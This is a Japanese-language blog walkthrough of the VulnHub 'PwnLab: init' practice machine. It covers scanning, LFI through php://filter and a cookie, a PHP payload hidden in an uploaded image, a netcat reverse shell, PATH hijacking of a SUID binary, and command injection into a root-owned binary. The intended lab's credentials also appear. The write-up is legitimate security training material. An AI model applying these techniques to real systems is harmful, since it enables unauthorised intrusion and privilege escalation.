0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【VulnHub】PwnLab init:Writeup

Posted at

概要

VulnHub「PwnLab: init」のWriteupです。

Flag

$sudo netdiscover -i enp0s8 -r 192.168.178.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                            
                                                                                                          
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                          
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.178.1   0a:00:27:00:00:08      1      60  Unknown vendor                                         
 192.168.178.2   08:00:27:10:4b:89      1      60  PCS Systemtechnik GmbH                                 
 192.168.178.25  08:00:27:4a:2b:dc      1      60  PCS Systemtechnik GmbH

192.168.178.1は、Virtual BoxのホストオンリーアダプターのIPです。
192.168.178.2は。DHCPサーバーのIPアドレスです。
192.168.178.25が、ターゲットマシンのIPアドレスだと分かりました。

ポートスキャンを実行します。

$nmap -Pn -sCV -T4 -p- 192.168.178.25 -oN nmap_result
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: PwnLab Intranet Image Hosting
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          32905/tcp   status
|   100024  1          34156/udp6  status
|   100024  1          48378/tcp6  status
|_  100024  1          59158/udp   status
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 39
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, SupportsCompression, LongColumnFlag, SupportsLoadDataLocal, ConnectWithDatabase, Speaks41ProtocolNew, FoundRows, DontAllowDatabaseTableColumn, SupportsTransactions, ODBCClient, IgnoreSpaceBeforeParenthesis, InteractiveClient, Speaks41ProtocolOld, IgnoreSigpipes, LongPassword, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: 0kLw4<n7cq.-7mB?UmGY
|_  Auth Plugin Name: mysql_native_password
32905/tcp open  status  1 (RPC #100024)

ポートの稼働状況が分かりました。

ポート サービス バージョン
80 http Apache/2.4.10
111 rpcbind 2-4
3306 mysql MySQL 5.5.47-0+deb8u1

80番ポートにアクセスすると、画像ファイルを共有するwebアプリケーションが動いています。

image.png

ディレクトリスキャンをします。
config.phpなどのファイルを発見しました。

$dirsearch -u http://192.168.178.25/
[13:58:46] 200 -    0B  - /config.php
[13:58:51] 200 -  458B  - /images/
[13:58:51] 301 -  317B  - /images  ->  http://192.168.178.25/images/
[13:58:54] 200 -  164B  - /login.php
[13:59:06] 301 -  317B  - /upload  ->  http://192.168.178.25/upload/
[13:59:06] 200 -   19B  - /upload.php
[13:59:06] 200 -  407B  - /upload/

ログインページなどのURLに注目すると、/?page=loginのようになっています。

image.png

下記のような処理でPHPファイルを読み込んでいる際、php://filterを使用したLFIのテクニックがあります。

<?php
$file = $_GET['file'];
include($file . '.php');

/?page=php://filter/convert.base64-encode/resource=loginとリクエストを送信することで、login.phpのソースコードをBase64でエンコードし、出力出来ました。

image.png

Base64でデコードし、ソースコードを見る事が出来ました。
config.phpからDBの認証情報を取得しているようです。

login.php
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
{
	$luser = $_POST['user'];
	$lpass = base64_encode($_POST['pass']);

	$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
	$stmt->bind_param('ss', $luser, $lpass);

	$stmt->execute();
	$stmt->store_Result();

	if ($stmt->num_rows == 1)
	{
		$_SESSION['user'] = $luser;
		header('Location: ?page=upload');
	}
	else
	{
		echo "Login failed.";
	}
}
else
{
	?>
	<form action="" method="POST">
	<label>Username: </label><input id="user" type="test" name="user"><br />
	<label>Password: </label><input id="pass" type="password" name="pass"><br />
	<input type="submit" name="submit" value="Login">
	</form>
	<?php
}

同様の手口でconfig.phpのソースコードも入手できました。
MySQLの認証情報を入手できました。

config.php
<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

MySQLのポートがオープンになっているので、接続をします。

$mysql -h 192.168.178.25 -u root -p
MySQL [(none)]>

Webサイトのアカウント情報を入手できました。

MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+

各アカウントのパスワードはBase64でエンコードされているので、デコードし、パスワードの平文を入手できました。

$echo "Sld6WHVCSkpOeQ==" | base64 -d
JWzXuBJJNy
$echo "U0lmZHNURW42SQ==" | base64 -d
SIfdsTEn6I
$echo "aVN2NVltMkdSbw==" | base64 -d
iSv5Ym2GRo

kentアカウントでログインに成功し、ファイルアップロードの画面にアクセスできました。

image.png

php://filterのテクニックを使用し、ファイルアップロード処理のupload.phpのソースコードを入手できました。

upload.php
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}

strrchr()で拡張子を抽出し、$whitelistの拡張子に一致しているか確認しています。
また、アップロードファイルのMIMEタイプが画像かもチェックしています。

upload.php
$file_ext  = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png"); 

if (!(in_array($file_ext, $whitelist))) {
	die('Not allowed extension, please upload images only.');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
	die('Error 002');
}

拡張子とMIMEタイプさえ合っていればいいので、画像ファイルにPHPのソースコードを挿入し、アップロードしたファイル内のPHPコード実行を試みます。

適当な画像ファイルをアップロードし、Burpでファイルの内容を改ざんします。
PMGの文字列移行に<?php ?>のコードを挿入しました。

image.png

upload.phpのチェックを回避し、ファイルアップロードに成功しました。

アップロードしたファイルは、/upload配下にファイル名をMD5変換された状態で保存されました。

image.png

index.phpのソースコードを取得し、確認します。
$_COOKIE['lang']の値をそのままinclide()しているのでLFIが出来そうです。

index.php
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>

CookieのlangパラメータをLFIの値でセットすると、LFIに成功しました。

Cookie: PHPSESSID=61qvq7m73rlf54tsj4flpc6213; lang=../../../../etc/passwd

image.png

同様の手法で、先ほどアップロードしたPHPソースコード入りの画像ファイルにアクセスすると、PHPコードを実行できました。

image.png

このLFIを利用してリバースシェルを張ります。

Netcatでリッスンします。

$nc -lnvp 1234
Listening on 0.0.0.0 1234

リバースシェルのコマンドをURLエンコードします。

image.png

?cmd=パラメータでURLエンコードしたペイロードをセットし、CookieのlangでLFIを悪用しアクセスします。

image.png

リバースシェルを張れました。

$nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.178.25 38623
bash: cannot set terminal process group (809): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pwnlab:/var/www/html$ whoami
whoami
www-data

TTYを設定します。

$ python -c "import pty;pty.spawn('/bin/bash')"

/homeにはjohnkaneなどいくつかのフォルダがあります。

$ ls -la /home
ls -la /home
total 24
drwxr-xr-x  6 root root 4096 Mar 17  2016 .
drwxr-xr-x 21 root root 4096 Mar 17  2016 ..
drwxr-x---  2 john john 4096 Mar 17  2016 john
drwxr-x---  2 kane kane 4096 Mar 17  2016 kane
drwxr-x---  2 kent kent 4096 Mar 17  2016 kent
drwxr-x---  2 mike mike 4096 Mar 17  2016 mike

MySQLから得られた認証情報でkaneアカウントにログイン出来ました。

$ su kane   
su kane
Password: iSv5Ym2GRo

kane@pwnlab:/home/kent$

/home/kaneフォルダにSUIDが設定された、msgmikeというファイルを発見しました。

$ ls -la /home/kane
ls -la /home/kane
total 28
drwxr-x--- 2 kane kane 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile

fileコマンドでmsgmikeのファイルタイプを確認すると、実行ファイルだと分かりました。

$ file msgmike
file msgmike
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped

実行してみると/home/mike/msg.txtが無いというエラーが出力されました。

$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory

stringsコマンドでmsgmikeの文字列を検索します。
cat/home/mike/msg.txtを読み取っています。

$ strings msgmike

(中略)

cat /home/mike/msg.txt

catは絶対パスで指定されていないので、$PATH環境変数にあるパスの順番で実行されます。
任意のcat実行ファイルを作成し、$PATH環境変数にパスを追加すれば、任意のコマンドを実行できそうです。

$ echo $PATH
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Bashを実行するcatファイルを作成します。

$ echo "/bin/bash" > /tmp/cat

$ cat /tmp/cat
cat /tmp/cat
/bin/bash

権限を付与します。

$ chmod 777 /tmp/cat
chmod 777 /tmp/cat

/tmp$PATH環境変数に追加します。

$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH

$ echo $PATH
echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

msgmikeを実行するとmikeでシェルを取得できました。

$ ./msgmike
./msgmike
mike@pwnlab:~$

/home/mikeを確認すると、msg2rootを発見しました。
SUIDが設定されており、root権限で実行できます。

$ ls -la /home/mike
ls -la /home/mike
total 28
drwxr-x--- 2 mike mike 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
-rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile

fileコマンドで確認すると実行ファイルだと分かりました。

$ file msg2root
file msg2root
msg2root: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=60bf769f8fbbfd406c047f698b55d2668fae14d3, not stripped

msg2rootを実行すると、キーボード入力が要求されました。

$ ./msg2root
./msg2root
Message for root: test
test
test

stringsコマンドで文字列を探すと、/bin/echoで入力された値を/root/messages.txtに追記している処理を発見しました。

$ strings ./msg2root

(中略)

Message for root: 
/bin/echo %s >> /root/messages.txt

ドルパーレンの書式$(<コマンド>)で、OSコマンドの実行に成功しました。

$ ./msg2root
./msg2root
Message for root: $(whoami)
$(whoami)
root

同様の手法を使用し、rootでシェルを張れました。

$ ./msg2root
./msg2root
Message for root: $(/bin/bash -p)
$(/bin/bash -p)
bash-4.3#

また、;で区切る手法でもOSコマンドインジェクションに成功しました。

$ ./msg2root
./msg2root
Message for root: test; /bin/bash -p
test; /bin/bash -p
test
bash-4.3# whoami
whoami
root

strings/root/flag.txtを確認すると、フラグを入手できました。

# strings /root/flag.txt
strings /root/flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?